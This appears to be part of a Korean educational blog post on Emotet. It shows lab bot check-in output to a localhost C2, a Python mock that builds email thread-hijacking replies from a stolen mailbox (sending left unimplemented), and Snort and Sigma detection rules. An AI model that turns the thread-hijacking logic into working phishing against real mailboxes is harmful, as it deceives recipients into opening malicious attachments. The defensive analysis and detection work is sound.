  [bot] ์ฒดํฌ์ธ ์„ฑ๊ณต โ†’ http://127.0.0.1:8080/verlxnpdrbby/ (HTTP 200)
  [bot] ์ˆ˜์‹  ๋ชจ๋“ˆ: {"module":"systeminfo","ver":2}
[*] ํด๋ฐฑ ๋ฐ๋ชจ: ์ฃฝ์€ C2 โ†’ ๋‹ค์Œ ํ›„๋ณด๋กœ ์ด๋™
  [bot] ('127.0.0.1', 9999) ์‹คํŒจ (URLError) โ†’ ๋‹ค์Œ C2 ์‹œ๋„
  [more] POST /jjazmyr/ ... ์ฒดํฌ์ธ ์„ฑ๊ณต (HTTP 200)
[*] ์ข…๋ฃŒ โ€” ์™ธ๋ถ€ ํ†ต์‹  0๊ฑด, ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์€ 127.0.0.1

๋ฐฉ์–ด์ž ๊ด€์  ํ•ด์„: ์œ„ 4์ค„์˜ ์กฐํ•ฉ(๋ฌด์ž‘์œ„ ์˜๋ฌธ ๊ฒฝ๋กœ + POST + MSIE 7.0 UA + ๋น„ํ‘œ์ค€ ํฌํŠธ)์€ ์ •์ƒ ์—…๋ฌด ํŠธ๋ž˜ํ”ฝ์—์„œ ๋‚˜์˜ฌ ์ด์œ ๊ฐ€ ์—†๋‹ค. ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๋ชฐ๋ผ๋„ ํ–‰์œ„ ์กฐํ•ฉ๋งŒ์œผ๋กœ ํƒ์ง€ ๊ฐ€๋Šฅํ•œ ์ง€์ ์ด๋‹ค.

PoC 3 โ€” ์ด๋ฉ”์ผ ์Šค๋ ˆ๋“œ ํ•˜์ด์žฌํ‚น ๊ตฌ์กฐ ์žฌํ˜„ (๋ฐœ์†ก ๊ธฐ๋Šฅ ์—†์Œ)

ํƒˆ์ทจํ•œ ์‚ฌ์„œํ•จ์—์„œ ๋ฌด์—‡์„ ์ฝ์–ด ์–ด๋–ป๊ฒŒ "์ž์—ฐ์Šค๋Ÿฌ์šด ๋‹ต์žฅ"์„ ๋งŒ๋“œ๋Š”์ง€๋ฅผ ๋กœ์ปฌ mock ๋ฐ์ดํ„ฐ๋กœ ์žฌํ˜„ํ•œ๋‹ค. ์ „์†ก ํ•จ์ˆ˜๋Š” ์˜๋„์ ์œผ๋กœ ๋ฏธ๊ตฌํ˜„(NotImplementedError)์ด๋ฉฐ ๊ฒฐ๊ณผ๋Š” ์ดˆ์•ˆ ํŒŒ์ผ๋กœ๋งŒ ์ €์žฅ๋œ๋‹ค.

# emotet_poc_thread.py (๋ฐœ์ทŒ) โ€” SMTP ์ฝ”๋“œ ์ž์ฒด๊ฐ€ ์—†์Œ, ์ดˆ์•ˆ JSON๋งŒ ์ƒ์„ฑ
def pick_thread(mb):                    # ์ž์ฃผ ์˜ค๊ฐ„ ์ƒ๋Œ€ ๊ฐ€์ค‘์น˜ + ๋Œ€ํ™” ๊ธธ์ด = '์ง„ํ–‰ ์ค‘' ์Šค๋ ˆ๋“œ
    counts = Counter(m["from"] for t in mb["threads"] for m in t["mails"])
    return max(mb["threads"], key=lambda t: sum(counts.get(p,0) for p in t["parties"])*10 + len(t["mails"]))

def build_reply(mb, t):
    last = t["mails"][-1]["body"]
    return {"to": [p for p in t["parties"] if p != "labuser@lab.local"],
            "subject": "RE: " + t["subject"],                 # ์ œ๋ชฉ ์žฌ์‚ฌ์šฉ
            "attachment": "์ •์‚ฐ์ž๋ฃŒ_2026.xlsm",               # ๋žฉ ์ „์šฉ ๋”๋ฏธ ์ด๋ฆ„
            "body": "์•ˆ๋…•ํ•˜์„ธ์š”, ์š”์ฒญํ•˜์‹  ์ž๋ฃŒ ์ •๋ฆฌํ•ด์„œ ์ฒจ๋ถ€๋“œ๋ฆฝ๋‹ˆ๋‹ค.\n\n> " + last.replace("\n","\n> ")
                    + "\n\n" + extract_signature(mb, "labuser@lab.local")}   # ์›๋ณธ ์„œ๋ช… ๋ณต์ œ

def send(_draft):
    raise NotImplementedError("๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ: ์ „์†ก ๊ธฐ๋Šฅ์€ ๊ตฌํ˜„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค")

์‹คํ–‰ ๊ฒฐ๊ณผ(์‹ค์ œ ์ถœ๋ ฅ):

[*] ํƒˆ์ทจํ•œ ์‚ฌ์„œํ•จ์—์„œ ์„ ํƒ๋œ ์Šค๋ ˆ๋“œ: ์†ก์žฅ ํ™•์ธ ์š”์ฒญ | ์ฐธ์—ฌ์ž: ['billing@lab.local', 'labuser@lab.local', 'kim@lab.local']
{
  "to": ["billing@lab.local", "kim@lab.local"],
  "subject": "RE: ์†ก์žฅ ํ™•์ธ ์š”์ฒญ",
  "attachment": "์ •์‚ฐ์ž๋ฃŒ_2026.xlsm",
  "body": "์•ˆ๋…•ํ•˜์„ธ์š”, ์š”์ฒญํ•˜์‹  ์ž๋ฃŒ ์ •๋ฆฌํ•ด์„œ ์ฒจ๋ถ€๋“œ๋ฆฝ๋‹ˆ๋‹ค. ํ™•์ธ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.\n\n> ... ๋žฉํ…Œํฌ ์žฌ๋ฌดํŒ€\n\n๋žฉํ…Œํฌ ์žฌ๋ฌดํŒ€\n02-000-0000"
}
[*] ๋ฆฌ์Šคํฌ ํฌ์ธํŠธ: ์ œ๋ชฉ/์ˆ˜์‹ ์ž/์ธ์šฉ๋ฌธ/์„œ๋ช…์ด '์‹ค์ œ ๋Œ€ํ™”'์—์„œ ๋ณต์ œ๋˜์–ด ์žˆ์–ด
    ์‚ฌ์šฉ์ž๋Š” ๋‚ฏ์„  ๋ฐœ์‹ ์ž๊ฐ€ ์•„๋‹ˆ๋ผ '์•„๋Š” ์‚ฌ๋žŒ์˜ ๋‹ต์žฅ'์œผ๋กœ ์ธ์‹ํ•˜๊ฒŒ ๋œ๋‹ค.

PoC 4 โ€” ํƒ์ง€ ๋ฃฐ ์•„์ด๋””์–ด (CISA ๊ถŒ๊ณ  ์‹œ๊ทธ๋‹ˆ์ฒ˜ ๊ณ„์—ด)

# (1) ๋„คํŠธ์›Œํฌ: ๋ฌด์ž‘์œ„ ๊ฒฝ๋กœ POST + ์œ„์žฅ UA ์กฐํ•ฉ โ€” ๊ฐœ๋…์  Snort/Suricata ๋ฃฐ
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"LAB Emotet-style checkin (random path POST + legacy IE UA)";
  flow:established,to_server; http_method;
  content:"POST"; http_method;
  pcre:"/^\/[a-z]{6,13}\/$/U";            # ๋ฌด์ž‘์œ„ ์•ŒํŒŒ๋ฒณ ๋””๋ ‰ํ„ฐ๋ฆฌ
  content:"Mozilla/4.0 (compatible; MSIE 7.0"; http_user_agent;
  content:"PHPSESSID="; http_cookie;
  sid:9000001; rev:1;)

# (2) ์—”๋“œํฌ์ธํŠธ: Temp ์—์„œ ์‹คํ–‰๋˜๋Š” ์‹œ์Šคํ…œ ํ”„๋กœ์„ธ์Šค๋ช… + Run ํ‚ค ์‹ ๊ทœ ๊ฐ’ (Sigma ์Šคํƒ€์ผ)
title: Suspicious System32-named binary executing from user Temp
logsource: { category: process_creation, product: windows }
detection:
  image: { Image|endswith: ['\AppData\Local\Temp\svchost.exe', '\AppData\Local\Temp\rundll32.exe'] }
  parent: { ParentImage|endswith: ['\winword.exe', '\excel.exe', '\wscript.exe'] }
  condition: image and parent
level: high

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•/๊ตํ›ˆ โ€” ์–ด๋–ป๊ฒŒ ๋ง‰์•˜๊ณ , ๋ฌด์—‡์„ ๋ฐฐ์šฐ๋‚˜

์ถœ์ฒ˜

โ€ป ๋ณธ๋ฌธ์˜ PoC ์ฝ”๋“œ๋Š” ๊ตฌ์กฐ ์ดํ•ด ๋ชฉ์ ์˜ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ์ด๋ฉฐ, ์‹ค์ œ Emotet ์ƒ˜ํ”ŒยทํŽ˜์ด๋กœ๋“œ๋Š” ํฌํ•จํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์‹ค์Šต์€ ์ธํ„ฐ๋„ท๊ณผ ๋ถ„๋ฆฌ๋œ ๊ฒฉ๋ฆฌ ๋žฉ VM์„ ์ „์ œ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

ํ•จ๊ป˜ ์ฝ๊ธฐ: ๐Ÿฆ Bangladesh Bank SWIFT Heist (2016) โ€” ์ž๊ฒฉ์ฆ๋ช… ํƒˆ์ทจ๋กœ ์€ํ–‰ ๊ฒฐ์ œ๋ง์„ ์กฐ์ž‘ํ•œ APT38 ยท โ˜ ๏ธ NotPetya (2017) โ€” ๊ณต๊ธ‰๋ง์—์„œ ์‹œ์ž‘๋œ ํŒŒ๊ดดํ˜• ์™€์ดํผ ยท ๐Ÿฆ… SolarWinds SUNBURST (2020) โ€” ์‹ ๋ขฐ๋ฐ›๋Š” ์„œ๋ช…์„ ๋ฌด๊ธฐ๋กœ ยท ๐Ÿชฑ Conficker (2008) โ€” ์ž๊ฐ€ ๋ฐฉ์–ดํ˜• ์›œ๊ณผ ๊ตญ์ œ ๊ณต์กฐ ๋Œ€์‘

๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ